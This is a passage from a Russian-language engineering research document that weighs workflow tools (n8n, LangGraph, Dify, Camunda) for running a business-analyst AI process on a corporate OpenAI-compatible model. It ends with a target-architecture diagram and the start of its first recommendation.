`base_url` ([openai-python](https://github.com/openai/openai-python)). \u0412 \u0441\u0440\u0435\u0434\u0435 1 API Mango AI \u043d\u0435\u0442 ([issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)). \u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0441\u044f | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u0434\u043e\u0441\u0442\u0443\u043f \u043a endpoint Mango AI \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u0440\u0435\u0434\u044b 4 |\\n\\n### \u0417. \u0421\u043b\u043e\u0439 3: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n\\n| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n|---|----------|----------------|--------|-------------|--------------|\\n| \u0413-44 | n8n \u2014 \u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 | \u0417\u0430: \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438 ([\u0413-46](#\u0433-46)), OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 ([\u0413-45](#\u0433-45)), \u0444\u043e\u0440\u043c\u044b, \u0447\u0430\u0442, Jira, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Server ([Jira](https://docs.n8n.io/integrations/builtin/credentials/jira.md)), Git ([docs](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.git.md)). \u041f\u0440\u043e\u0442\u0438\u0432: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 n8n ([\u0413-47](#\u0433-47)); Python \u0432 \u0443\u0437\u043b\u0435 Code \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 ([Code](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.code.md)); \u043f\u0430\u0440\u0441\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0430 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 `$ref` ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/sub-nodes/n8n-nodes-langchain.outputparserstructured.md)), \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430 \u043d\u0451\u043c \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u044b; \u0443\u0437\u0435\u043b Confluence \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Cloud ([docs](https://docs.n8n.io/integrations/builtin/app-nodes/n8n-nodes-base.confluence.md)); \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 ([\u0413-48](#\u0433-48)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** n8n \u2014 \u043a\u0430\u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u0438 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u043f\u043e\u0432\u0435\u0440\u0445 API runner (\u0412-7), \u043d\u0435 \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 |\\n| \u0413-45 | n8n \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 | \u0423\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 OpenAI \u0432 n8n \u0438\u043c\u0435\u044e\u0442 \u043f\u043e\u043b\u0435 `Base URL` ([\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434](https://github.com/n8n-io/n8n/blob/master/packages/nodes-base/credentials/OpenAiApi.credentials.ts)); \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044f \u043d\u0435\u0442. \u0420\u0430\u0431\u043e\u0442\u0430 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u0435\u043b\u044f \u00abUse Responses API\u00bb \u0441 `/chat/completions` \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u0414\u0435\u0440\u0436\u0430\u0442\u044c Responses API \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c; \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430 \u0441\u0442\u0435\u043d\u0434\u0435 |\\n| \u0413-46 | n8n \u0443\u043c\u0435\u0435\u0442 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0430\u0443\u0437\u0443 \u0434\u043d\u044f\u043c\u0438 | \u0423\u0437\u0435\u043b Wait \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438, webhook \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0435; \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0434\u043e\u043b\u044c\u0448\u0435 65 \u0441 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0431\u0430\u0437\u0435 ([Wait](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.wait.md)); \u0447\u0430\u0442 \u0443\u043c\u0435\u0435\u0442 \u00abSend and Wait for Response\u00bb \u0441 \u043a\u043d\u043e\u043f\u043a\u0430\u043c\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f ([Chat](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-langchain.chat.md)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c** \u043a\u0430\u043a \u043a\u0430\u043d\u0430\u043b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0412-7 |\\n| \u0413-47 | \u0412 n8n \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0418\u0418-\u0443\u0437\u043b\u043e\u0432 | \u0423\u0437\u0435\u043b AI Agent: \u00abthe agent decides which tools to call\u00bb ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/root-nodes/n8n-nodes-langchain.agent.md)). \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u2014 Basic LLM Chain \u0441\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u0432\u044b\u0432\u043e\u0434\u043e\u043c \u043f\u043b\u044e\u0441 \u0443\u0437\u043b\u044b \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/root-nodes/n8n-nodes-langchain.chainllm.md)), \u043d\u043e \u0442\u043e\u0433\u0434\u0430 \u0433\u0440\u0430\u0444 Source \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0432\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0437 \u0432 JSON n8n ([\u044d\u043a\u0441\u043f\u043e\u0440\u0442](https://docs.n8n.io/build/manage-workflows/export-and-import.md)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c AI Agent \u0434\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430; \u0433\u0440\u0430\u0444 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 Source |\\n| \u0413-48 | n8n \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0440\u044f\u0434\u043e\u043c \u0441 Jira \u0438 Confluence \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0440 \u0437\u0430\u0449\u0438\u0442\u044b | CVE-2026-21858, CVSS 10.0, \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 ([Rapid7](https://www.rapid7.com/blog/post/etr-ni8mare-n8scape-flaws-multiple-critical-vulnerabilities-affecting-n8n/)); \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u041a\u0430\u043d\u0430\u0434\u044b ([AL26-001](https://www.cyber.gc.ca/en/alerts-advisories/al26-001-vulnerabilities-affecting-n8n-cve-2026-21858-cve-2026-21877-cve-2025-68613)); \u0441\u0435\u0440\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u0430\u0440\u0442\u0430 2026 ([The Hacker News](https://thehackernews.com/2026/03/critical-n8n-flaws-allow-remote-code.html)); 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\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u0441 Git, SSO \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 Community \u043d\u0435\u0442 ([\u0444\u0443\u043d\u043a\u0446\u0438\u0438 Community](https://docs.n8n.io/deploy/host-n8n/community-edition-features.md)), \u0442\u0430\u0440\u0438\u0444 Business \u2014 667 \u20ac \u0432 \u043c\u0435\u0441\u044f\u0446 ([\u0446\u0435\u043d\u044b](https://n8n.io/pricing/)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0411\u0435\u0437 Git-\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0436\u0438\u0432\u0443\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 Source \u2014 \u044d\u0442\u043e \u0434\u043e\u0432\u043e\u0434 \u0437\u0430 \u0412-7, \u0430 \u043d\u0435 \u0412-6 |\\n| \u0413-50 | \u041f\u043b\u0430\u043d n8n \u0438\u0437 \u043c\u0430\u044f 2026 \u0431\u044b\u043b \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043f\u043e \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\u043c | \u042d\u0442\u0430\u043f 4 \u00abn8n-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f\u00bb ([L275-L283](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md#L275-L283)) \u0438 \u0443\u0437\u043b\u044b n8n \u043f\u043e \u044d\u0442\u0430\u043f\u0430\u043c ([L425-L437](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md#L425-L437)); \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` n8n \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 ([L191](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193)); \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u0418\u0434\u0435\u044f, \u0441\u043d\u044f\u0442\u0430\u044f \u0431\u0435\u0437 \u043e\u0446\u0435\u043d\u043a\u0438, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u2014 \u043a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441. \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u043c \u043d\u0443\u0436\u0435\u043d \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 |\\n| \u0413-51 | LangGraph \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0432 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e | \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u2014 MIT ([LICENSE](https://github.com/langchain-ai/langgraph/blob/main/LICENSE)), \u043f\u0430\u0443\u0437\u0430 `interrupt()` \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 `Command(resume=\u2026)` ([docs](https://docs.langchain.com/oss/python/langgraph/interrupts)), \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0432 Postgres ([persistence](https://docs.langchain.com/oss/python/langgraph/persistence)). LangGraph Server \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043b\u044e\u0447 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0432\u044b\u0445\u043e\u0434 \u043d\u0430 `beacon.langchain.com` ([docs](https://docs.langchain.com/langsmith/deploy-standalone-server)). \u041f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0443\u0437\u0435\u043b \u0441 `interrupt()` \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e, \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u044b | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0422\u043e\u043b\u044c\u043a\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 (\u0412-4), \u043d\u0435 LangGraph Server |\\n| \u0413-52 | Low-code \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0441 \u0418\u0418 (Dify, Flowise) \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e | Dify \u2014 \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u0430\u044f Apache \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u043c\u0438 ([LICENSE](https://github.com/langgenius/dify/blob/main/LICENSE)), \u043a\u043e\u0434 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435 \u0431\u0435\u0437 \u0441\u0435\u0442\u0438 \u0438 \u0444\u0430\u0439\u043b\u043e\u0432 ([docs](https://docs.dify.ai/en/use-dify/nodes/code)) \u2014 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c; Flowise \u2014 Node.js ([LICENSE](https://github.com/FlowiseAI/Flowise/blob/main/LICENSE.md)); \u0432 \u043e\u0431\u043e\u0438\u0445 \u0433\u0440\u0430\u0444 \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c \u043a\u0430\u043a \u044f\u0434\u0440\u043e; \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u2014 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 |\\n| \u0413-53 | BPMN-\u0434\u0432\u0438\u0436\u043e\u043a \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0411\u0410 | Camunda 8 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044e \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 8.6 ([Camunda](https://camunda.com/blog/2024/04/licensing-update-camunda-8-self-managed/)); Operaton \u2014 Apache-2.0 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/operaton/operaton)), \u043d\u043e \u044d\u0442\u043e Java \u0438 BPMN: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 BPMN, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u0438 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c; \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c BPMN-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 |\\n| \u0413-54 | \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 \u00ab\u0432\u043d\u0435\u0448\u043d\u0438\u0439 workflow engine\u00bb \u0438\u043c\u0435\u0435\u0442 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 | [RFC L371-L375](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375): \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb, \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u2014 \u0446\u0435\u043d\u0430; \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u043d\u0435\u0442 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.** \u0417\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0440\u0438\u0433\u0433\u0435\u0440: \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u044c\u0448\u0435 \u0441\u0435\u0441\u0441\u0438\u0438, \u043e\u0431\u0449\u0438\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u0430 4 |\\n\\n## \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0445\u0435\u043c\u0430\\n\\n```mermaid\\nflowchart LR\\n  S[\\\"Source: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b\\\"] -->|\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f| PK[\\\"\u041f\u0430\u043a\u0435\u0442: \u0433\u0440\u0430\u0444 YAML, \u0441\u0445\u0435\u043c\u044b, \u0442\u0435\u043a\u0441\u0442\u044b\\\"]\\n  PK --> R[\\\"\u042f\u0434\u0440\u043e runner: \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0443\u0437\u043b\u043e\u0432, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435, \u0436\u0443\u0440\u043d\u0430\u043b\\\"]\\n  subgraph WS[\\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1: \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e\\\"]\\n    CLI[\\\"tools/run-task next\\\"]\\n    AG[\\\"GigaCode CLI \u0438\u043b\u0438 Cline: \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\\\"]\\n  end\\n  subgraph SRV[\\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0440\u0435\u0434\u0430 4\\\"]\\n    API[\\\"\u0421\u043b\u0443\u0436\u0431\u0430 runner + Postgres\\\"]\\n    UI[\\\"\u0427\u0430\u0442, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430; n8n \u2014 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e\\\"]\\n  end\\n  R --> CLI\\n  R --> API\\n  AG -->|\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a| CLI\\n  UI --> API\\n  API -->|\u0448\u0430\u0433| LLM[\\\"Mango AI: OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API\\\"]\\n  R --> V[\\\"\u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source\\\"]\\n  API --> CI[\\\"CI gate \u0434\u043b\u044f Release\\\"]\\n```\\n\\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1: \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410\\n\\n**\u0421\u0443\u0442\u044c.** Runner \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u0435\u0434\u0443\u0449\u0438\u043c: \u043e\u043d \u0437\u043d\u0430\u0435\u0442, \u0433\u0434\u0435 \u0437\u0430\u0434\u0430\u0447\u0430, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e\\n\u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0435\u0439\u0447\u0430\u0441 \u0438 \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c. \u041c\u043e\u0434\u0435\u043b\u044c \u0432 GigaCode CLI \u0438\u043b\u0438 Cline \u043f\u0438\u0448\u0435\u0442\\n\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a, \u0411\u0410 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438 \u043e\u0442\u0434\u0430\u0451\u0442 \u0435\u0433\u043e runner \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439.\\n\\n| \u2116 | \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 | \u0427\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 |\\n|---|-----------|---------------|\\n| 1.1 | Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0440\u0451\u0431\u0435\u0440 \u0438\u0437 YAML \u043d\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439; \u0440\u0443\u0447\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0432 Python \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f; \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0430\u0437\u0431\u043e\u0440 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0430 | [\u0413-28](#\u0433-28), `EP-R5` |\\n| 1.2 | \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 